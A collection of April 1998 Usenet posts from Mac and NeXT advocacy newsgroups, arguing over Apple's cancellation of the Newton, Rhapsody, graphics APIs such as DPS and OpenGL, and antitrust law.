> Newton programs on Macs. Shouldn't be too hard.
>
> Donald
The education users were shafted, no matter HOW the project was killed. The
3rd market VARs could have been helped simply by making sure the Newton
Hardware was able to be had until the replacements were shipping in
production quantities, and perhaps an addl. 6 months.
As it is, 7000 units were bought by one fortune 500 company for their
project. Given the shafting they just had from Apple, I'm waiting for a
maccentral/intouch/surfer blurb when said drug company formally declares
their move away from Apple branded products.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 20 Apr 1998 17:18:01 GMT
Organization: P & L Systems
Message-ID: <6hg009$57p$10@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
<6gunnn$4m9$6@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6gunnn$4m9$6@quasar.dimensional.com> Kenneth R. Kinder wrote:
> > It's OK Ken, you said you're a C++ fan. I think I'll pass on this.
>
> What's wrong, mmalc? Don't care to stand behind your statements about my
> code, eh?
>
No, it means that if it involves reading through C++, then I'd rather not be
a judge.
> Anyway... I didn't have get to my accounting program idea. But I did get
to
> programming Sunday afternoon and after supper today. But without my notes
> on accounting, I just programmed a simple little idea I've been toying
with.
>
> This one Python code, BTW... Not as elegant as C++, but it has its
> advantages.
>
"Python code ... Not as elegant as C++"
Sheesh, maybe Damien Hurst is producing Art after all.
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 10:38:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B160D5E0-5D5D7@206.165.43.36>
References: <6hftqh$ku8@flonk.uk.sun.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jeff Richmond - SUN UK - SSIR <jeffric@boo.uk.sun.com> said:
> Odd
> for someone who has, I believe, a lot of vision. He is Apple's best hope
...
> even though I think this particular decision was incredibly bad.
Jobs killed the Mac project in 1979 and Raskin had to go over his head to
get it restarted.
Source: Raskin's invited article on computer-human interfaces in the "Next
50 years in computing" issue of Communications of the ACM.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Laptop Survey
Date: Mon, 20 Apr 1998 10:12:07 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2004981012070001@dante.eng.uci.edu>
References: <6hfq41$ic$1@ha2.rdc1.sdca.home.com>
In article <6hfq41$ic$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>In one Survey of market penetration, albeit informal, Apple is winning in the
>Coffeehouses. Apple dominates in the number of laptop computers actively in
>use by coffeehouse patrons in So. Calif.
>
>-r
Wow. Rex, that has to be just about the most random thing I think I've
seen you write. Thanks.
Bob 'Entropy means always having something new to talk about' Cassidy
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Laptop Survey
Date: Mon, 20 Apr 1998 10:22:40 -0700
Organization: Trilithon Research and Trading
Message-ID: <353B8460.2F1F1DB5@trilithon.com>
References: <6hfq41$ic$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
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Rex Riley wrote:
* In one Survey of market penetration, albeit informal,
* Apple is winning in the Coffeehouses. Apple dominates
* in the number of laptop computers actively in
* use by coffeehouse patrons in So. Calif.
That about concurs with what I observe in a decidedly
empirical study of laptop use in cafes. In the Cafe I
frequent regularly, there's a regular clientele of students
from Stanford. All of them use Macs. The only PC I've
ever seen in the cafe is in use by Sami Shaio of Marimba.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Manu Iyengar <root@127.0.0.1>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 20 Apr 1998 11:28:50 -0700
Organization: Er, umm, wozzat?
Message-ID: <7yemysfiu5.fsf@romulus>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
<B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM>
<slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM>
<slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net>
<7ybtu0rork.fsf@romulus> <353B87DD.2357@CONVEX.COM>
In-reply-to: Michael Peck's message of Mon, 20 Apr 1998 12:37:33 -0500
In article <353B87DD.2357@CONVEX.COM> Michael Peck <ECK@CONVEX.COM> writes:
>Manu Iyengar wrote:
>> >Salvatore Denaro wrote:
>> >
>> >> That's odd. Are you sure that there is no Emacs www client? I could
>> >> have sworn that I saw one.
>> >
>> >Not that I know of. GNUscape Navigator runs inside of emacs, so that may
>> >be what you're thinking of.
>>
>> Sure there is -- w3-mode.
>
>My emacs doesn't have that elisp module. Is it an add-on, perhaps? If
>so, I fail to see how it's different from GNUscape Navigator.
The question was: "Are you sure that there is no Emacs www client?"
The answer is: "Sure there is -- w3-mode."
Your emacs configuration problems are not at issue. Cheers,
^mi
Subject: Re: IMPEACH JOBS
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
nntp://news.itd.umich.edu/comp.sys.mac.oop.powerplant,
nntp://news.itd.umich.edu/comp.sys.mac.programmer.codewarrior,
nntp://news.itd.umich.edu/comp.sys.next.advocacy
References: <jayfar-2004981035510001@downtown1-10.slip.netaxs.com>
MIME-Version: 1.0
Message-ID: <B1610E2D-1D0AE48@141.214.128.36>
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Date: Mon, 20 Apr 1998 18:33:55 GMT
NNTP-Posting-Date: Mon, 20 Apr 1998 14:33:55 EDT
On Mon, Apr 20, 1998 9:35 AM, Jayfar <mailto:jayfar@netaxs.com> wrote:
> Translating corporate weasel-speak, that indicates it was recently either
> producing a slim profit or was very close to doing so.
>
It was at least close. When Newton Inc., was being formed it was stated
that they expected to be profitable within a year. That's pretty damn good.
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #19: "I'm like a rough diamond that just needs a little
polishing, that's all. And that's exactly what Handsome Boy Modeling School
is going to do for me." -Chris Elliott in "The Prettiest Week of My Life"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 20 Apr 1998 18:48:55 GMT
Organization: P & L Systems
Message-ID: <6hg5an$57p$12@ironhorse.plsys.co.uk>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
<6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul>
<slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
<slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul>
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Cc: macghod@concentric.net
In <01bd6bf8$ee914080$15f0bfa8@davidsul> Mr Sullivan, aka "NeXT Newbie"
wrote:
> But this is getting off the issue. For developer who want to develop for
> rhapsody HAVING rhapsody is at least a teeny weeny bit important
>
Absolutely, it's only a teeny weeny bit important, since it's possible to get
OPENSTEP without having to get Rhapsody...
mma.c
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy,misc.forsale.computers.mac-specific.misc
Subject: Re: REFURB PBook 5300c & cs units - reduced prices
Date: 20 Apr 1998 18:55:17 GMT
Message-ID: <01bd6c8d$70c9bde0$3ff0bfa8@davidsul>
References: <1998041817353700.NAA01969@ladder01.news.aol.com>
JayKim <jaykim@aol.com> wrote in article
<1998041817353700.NAA01969@ladder01.news.aol.com>...
>
> Apple PowerBook 5300c true Apple refurbs for sale -
> ---------------------------------------------
Will the 5300c run rhapsody? I am in the market for a $1000 ppc active
matrix powerbook but it has to run rhapsody
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 20 Apr 1998 18:36:19 GMT
Organization: Cygnus Solutions
Message-ID: <6hg4j3$hn5$1@cronkite.cygnus.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179>
<joe.ragosta-2004980639400001@elk52.dol.net> <353B9469.3FF3DEA@nkn.net>
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Cc: rkirkmcp@nkn.net
In <353B9469.3FF3DEA@nkn.net> "R. Kirk McPike" wrote:
>
>
> Joe Ragosta wrote:
>
> > In article <B16047C4-53E31@206.165.43.179>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Don Arbow <don_arb@wolfenet.com> said:
> > >
> > > >
> > > > Don't forget stock at or near a 52 week high, doubled within a
year...
> > > >
> > >
> > >
> > >
> > > Don't forget that we no longer have future development on 2 of the top
5
> > > productivity apps for the Mac: QUicken.
> >
> > Hmmm. Quicken suddenly became _TWO_ applications?
> >
> > Good argument against QD GX--it makes you lose your ability to count.
>
> There are two versions of Quicken if I remember correcty. A basic version
and
> a more full featued one.
>
> KIrk
>
>
To most poeple, that's 2 versions of one application, not two applications
:-)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 13:58:56 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353B9AF0.4C2D@CONVEX.COM>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <6hg243$l1p$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
> I really am not sure how any of this will work, as I don't have the deep
> understanding of these systems necessary to answer your questions.
> However, I just wanted to show that Lawson was being quite "clever" with
> his selection of quoted material. The two Carmack quotes (mine and his)
> came from the exact same file.
I really don't want to get into it. It just seems to me that however
Lawson published it, there is a real issue that needs addressing, namely
that technology isn't waiting around for DPS to get the recognition it
deserves. There are very serious (and huge) markets being driven by the
latest in visualization and rendering technologies. Is "DPS is great"
the only response we can expect from Cupertino? Shitty as Direct3D is,
it does the job. As wonderful as DPS is, it doesn't.
I should note that Interceptor doesn't do the job, either.
MJP
--
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From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 14:00:19 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353B9B43.438A@CONVEX.COM>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
<B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM>
<slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM>
<slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net>
<7ybtu0rork.fsf@romulus> <353B87DD.2357@CONVEX.COM> <7yemysfiu5.fsf@romulus>
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Manu Iyengar wrote:
> >> Sure there is -- w3-mode.
> >
> >My emacs doesn't have that elisp module. Is it an add-on, perhaps? If
> >so, I fail to see how it's different from GNUscape Navigator.
>
> The question was: "Are you sure that there is no Emacs www client?"
> The answer is: "Sure there is -- w3-mode."
It's sucks so hard when people read, like, the last two postings in a
thread, then snap out smartass answers like they figured it all out.
> Your emacs configuration problems are not at issue. Cheers,
Boy does that hurt!
MJP
--
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From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Mon, 20 Apr 1998 14:38:35 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353BA43B.2676@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM> <ericb-1804981748460001@132.236.171.104> <353B907D.3ED9@CONVEX.COM>
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Michael Peck wrote:
> As I write this, I despair of a successful Constitutional challenge. It
> appears that the three-ring regulatory circus has gained another
> inexplicable ally: Robert Bork. If anyone can demonstrate a
> Constitutional basis for _anything_, it's Bork.
>
> What a disappointment.
In case anyone else is confused by Bork's support for ProComp, let there
be light:
http://www.reasonmag.com/9704/fe.olson.html
From the April 1997 issue of Reason Magazine ("Free markets and free
minds")
MJP
--
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From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 18:07:34 GMT
Message-ID: <01bd6c86$c6502300$3ff0bfa8@davidsul>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net> <MPG.fa4876a49b5a7429898ba@news.supernews.com>
Donald Brown <don.brown@cesoft.com> wrote in article
<MPG.fa4876a49b5a7429898ba@news.supernews.com>...
> In article <353B172A.2761@london.virgin.net>, binky@london.virgin.net
You are one smart cat,
Charlie brown!
> Here's what would have been better:
> * Cancel the spin off without comment.
> * To allow Newton to coast, fix the damn bug that is the only serious
> flaw in the Newton continuing to work as is.
> * Send our Newton developers an NDA, when they sign it, tell them that
> the Newton is untenable and give specifics about the Allegro lite devices
> so people can actually start designing programs.
> * When it gets leaked to MacWeek, find out who leaked it, and give them a
> prototype Allegro lite device that looks spiffy so it can get good
> coverage while publicly refusing to comment publicly.
> * At WWDC, roll the new devices out publicly, let all the developers play
> with it, and give them a CD a Allegro lite simulator program.
> * Oh, and put in Allegro lite a Newton simulator so people can run their
> Newton programs on Macs. Shouldn't be too hard.
>
> Donald
>
From: "R. Kirk McPike" <rkirkmcp@nkn.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Mon, 20 Apr 1998 13:31:12 -0500
Organization: Kirk's Right Wing Militia
Message-ID: <353B9469.3FF3DEA@nkn.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net>
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Joe Ragosta wrote:
> In article <B16047C4-53E31@206.165.43.179>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Don Arbow <don_arb@wolfenet.com> said:
> >
> > >
> > > Don't forget stock at or near a 52 week high, doubled within a year...
> > >
> >
> >
> >
> > Don't forget that we no longer have future development on 2 of the top 5
> > productivity apps for the Mac: QUicken.
>
> Hmmm. Quicken suddenly became _TWO_ applications?
>
> Good argument against QD GX--it makes you lose your ability to count.
There are two versions of Quicken if I remember correcty. A basic version and
a more full featued one.
KIrk
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 20 Apr 1998 11:35:11 -0700
Organization: Trilithon Research and Trading
Message-ID: <353B955F.42B84ACA@trilithon.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<trev-0504982024220001@nas-sa-p5.usc.net> <6ggktb$1kt$2@quasar.dimensional.com> <6hg04l$57p$11@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
* In <6ggktb$1kt$2@quasar.dimensional.com> Kenneth R. Kinder wrote:
* * The supiorority of either GUi can be argued but, the GUI
* * isn't what makes an OS great.
* * Not to make any statements about NextStep, I just want you
* * to think about more than the UI. Other elements are very
* * important, such as the kernel, hardware support, stability,
* * ect ect ect... licensing, open standards, ect ect ect...
* Yup, these also helped to make NEXTSTEP great.
* BTW, what's with the "ect" -- were you typing this through a
* therapy session?
It's an abbreviation for ectoplasm.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 20 Apr 1998 11:48:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B160E637-9ACF1@206.165.43.36>
References: <6hg243$l1p$1@vixen.cso.uiuc.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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willis sean timothy <stwillis@ews.uiuc.edu> said:
> I really am not sure how any of this will work, as I don't have the deep
> understanding of these systems necessary to answer your questions.
> However, I just wanted to show that Lawson was being quite "clever" with
> his selection of quoted material. The two Carmack quotes (mine and his)
> came from the exact same file.
>
Actually, the original quote came from elsewhere quoting the readme.
I found the URL to the readme and cited that directly.
I've been told that Carmack's problem with speed was due to a specific
hardware issue rather than any shortcoming in DPS itself.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 15:25:55 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2004981525550001@192.168.0.3>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
In article <353B6C07.30F97F82@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
:Quick question: how is Rhapsody handling the interface between DPS and
:an optimized-for-hardware library like OpenGL or Direct3D? Is DPS
:capable of handing rendering tasks off to individual hardware
:renderering APIs (I understand GX was capable of this)?
Apple has technology that allows libraries to bypass DPS. Quicktime is
going to use it, and presumbably OpenGL whenever Apple gets around to
formally announcing support for it. A better question to ask is when will
Apple have a *good* OpenGL implementation with hardware to back to it up.
My guess is not any time soon.
:The quote above appears to refer to the fact that Carmack *didn't*
:optimize QuakeEd with a decent library, while the quote Lawson presented
:seems to refer to the fact that Carmack *couldn't* effectively optimize
:QuakeEd for NEXTSTEP.
Everyone has their own spin on things.
:The various OpenGL Quake Editors make nice demos for my $150 FireGL 1000
:Pro, as do SoftImage, Alias/Wavefront, and 3D Studio Max. What is Jobs
:planning to do about this?
Probably nothing interesting in the near future. My guess is he'll
dodge any questions about Apple's 3D directions by mentioning how nifty
Quicktime 3.0 is. Apple's so far behind in the 3D hardware race, I doubt
they'll ever be able to catch up. Of course, everything's going to be
peachy because developers can whip together a word processor in 5
minutes...
-Eric
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Mon, 20 Apr 1998 13:14:21 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353B907D.3ED9@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM> <ericb-1804981748460001@132.236.171.104>
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Eric Bennett wrote:
> > That's funny! That reminds me of people here who decide a particular
> > server is taking too long to boot, so they hit the reset switch. Those
> > people generally spend all day hitting reset and, when questioned, claim
> > that "they had to do it, it never came up on its own."
>
> Really? Does it also remind you of people who reboot a locked Unix
> machine, deciding that they can't wait around to see whether it
> unfreezes? Was there just a temporary problem that would have resolved
> itself eventaully, or did it really completely lock up?
Our UNIX boxes don't lock up unless someone d*cked with them. Usually,
the d*cking is someone who got tired of waiting for an NFS server to
return and free automount, so they reboot the system with extreme
prejudice and end up with broken inode tables. The fsck process takes a
while cleaning up the entries, so these very same people figure, "One
reboot wasn't good enough, let's try another". In the middle of an fsck
operation, they bounce the server again.
Yep, this sounds *reallll* familiar when taken as a metaphor for
free-markets.
"Sherman Anti-trust didn't fix the problem, evidently. Let's try
stronger regulation."
> If it takes a hundred years, is it really worth waiting just to save your
> principles, or as a practical matter was it better to take action?
You're totally right. I'll tell you what, wait 100 years. If Microsoft
is still around, we'll do something about it.
> Of
> course, everyone is going to have a different idea of how long is long
> enough to wait before doing something...
Ah, true. So...how 'bout we just leave it alone, since none of the
so-called "experts" have any idea what they're talking about, Dr. Lessig
included?
> > There are legitimate questions, in my mind, about whether the Sherman
> > Antitrust Act has violated the United State Constitution. The people
> > need to investigate these sorts of concerns.
>
> That's fine with me. I trust that Microsoft will be happy to pursue this
> sort of strategy if the DOJ sees fit to challenge Microsoft under the
> Sherman Act.
As I write this, I despair of a successful Constitutional challenge. It
appears that the three-ring regulatory circus has gained another
inexplicable ally: Robert Bork. If anyone can demonstrate a
Constitutional basis for _anything_, it's Bork.
What a disappointment.
MJP
--
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From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: 20 Apr 1998 20:14:47 GMT
Organization: I don't think so
Message-ID: <slrn6jnbbi.4gj.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM> <ericb-1804981748460001@132.236.171.104> <353B907D.3ED9@CONVEX.COM> <slrn6jn9bp.98n.jason@jhste1.dyn.ml.org> <353BA71E.FD9@CONVEX.COM>
Michael Peck wrote:
>In a related aside, I was browsing the archives of an antitrust law
>mailing list today, and it appears that Bork has classically been quite
>opposed to antitrust medicine, and his proteges (Silberman, Randolph)
>have been equally opposed to regulatory action. Rather than "If Bork
>believes in this one...", my reaction is actually more like "Lo, how the
>mighty have fallen..."
Well, you still have Rush Limbaugh on your side...
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 20 Apr 1998 20:13:17 GMT
Organization: P & L Systems
Message-ID: <6hga8t$57p$14@ironhorse.plsys.co.uk>
References: <6hg243$l1p$1@vixen.cso.uiuc.edu> <B160E637-9ACF1@206.165.43.36>
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Cc: english@primenet.com
In <B160E637-9ACF1@206.165.43.36> "Lawson English" wrote:
> I've been told that Carmack's problem with speed was due to a specific
> hardware issue rather than any shortcoming in DPS itself.
>
Wow, so at least Laswon took Mike's advice...
"If you're going to attempt to baffle people with your bullshit, at least
make some attempt to make it appear plausible."
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 20 Apr 1998 20:11:26 GMT
Organization: P & L Systems
Message-ID: <6hga5e$57p$13@ironhorse.plsys.co.uk>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
<6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
<6hg243$l1p$1@vixen.cso.uiuc.edu> <353B9AF0.4C2D@CONVEX.COM>
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Cc: ECK@CONVEX.COM
In <353B9AF0.4C2D@CONVEX.COM> Michael Peck wrote:
> that technology isn't waiting around for DPS to get the recognition it
> deserves. There are very serious (and huge) markets being driven by the
> latest in visualization and rendering technologies. Is "DPS is great"
> the only response we can expect from Cupertino? Shitty as Direct3D is,
> it does the job. As wonderful as DPS is, it doesn't.
>
So who is advocating the use of DPS for the latest in visualization and
rendering technologies? Me, I'm waiting for the QTML framework on
Rhapsody...
mmalc.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 15:56:26 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353BB67A.5229@CONVEX.COM>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
<6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
<6hg243$l1p$1@vixen.cso.uiuc.edu> <353B9AF0.4C2D@CONVEX.COM> <6hga5e$57p$13@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
>
> In <353B9AF0.4C2D@CONVEX.COM> Michael Peck wrote:
> > that technology isn't waiting around for DPS to get the recognition it
> > deserves. There are very serious (and huge) markets being driven by the
> > latest in visualization and rendering technologies. Is "DPS is great"
> > the only response we can expect from Cupertino? Shitty as Direct3D is,
> > it does the job. As wonderful as DPS is, it doesn't.
> >
> So who is advocating the use of DPS for the latest in visualization and
> rendering technologies? Me, I'm waiting for the QTML framework on
> Rhapsody...
I could be wrong, but I thought I remembered from somewhere that RAVE is
dead. What is Apple's plan for hardware acceleration? For graphics I/O?
For stereo output?
What is Apple's plan for adopting OpenGL? Is Apple basically writing off
all existing acceleration APIs? Is Rhapsody that far away? Does Apple
plan to support Fahrenheit? When are they going to announce their
cooperation? Is this going to be last-minute/forced-hand effort? Have we
seen this before?
I think from a NeXT point of view, it could be said that Apple has been
forthcoming with answers about its strategic vision. But from the
standpoint of many other industry segments, things aren't shaping up at
all.
The real problem is not that Apple isn't providing answers, but that
there aren't any really obvious answers to guess at *and* Apple isn't
providing answers.
The best way for Apple to make people like Lawson go away is to start
providing the idle mind with something to think about besides
conjecture. In my opinion, the thing that most stokes the MacOS/Rhapsody
rumor mill is Steve Jobs' comparative lack of substantial dialogue on
the future of Apple.
All advocacy aside, "Think Different" isn't very descriptive. Besides,
thinking "different" implies not-something and yes-something-else. All
we're seeing so far is not-something, as in not-Newton, not-OpenDoc,
not-GX, and not-GameSprockets. At some point, Apple is going to run out
of products to cut for quick profits.
MJP
--
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From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 15:40:06 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2004981540060001@130.130.117.53>
References: <jayfar-2004981035510001@downtown1-10.slip.netaxs.com> <B1610E2D-1D0AE48@141.214.128.36>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <B1610E2D-1D0AE48@141.214.128.36>, "Robert A. Decker"
<comrade@umich.edu> wrote:
:On Mon, Apr 20, 1998 9:35 AM, Jayfar <mailto:jayfar@netaxs.com> wrote:
:> Translating corporate weasel-speak, that indicates it was recently either
:> producing a slim profit or was very close to doing so.
:>
: It was at least close. When Newton Inc., was being formed it was stated
:that they expected to be profitable within a year. That's pretty damn good.
That must have been the reason Jobs nuked it. If Newton was going to be
profitable in 6 years after having lost half a billion dollars it would
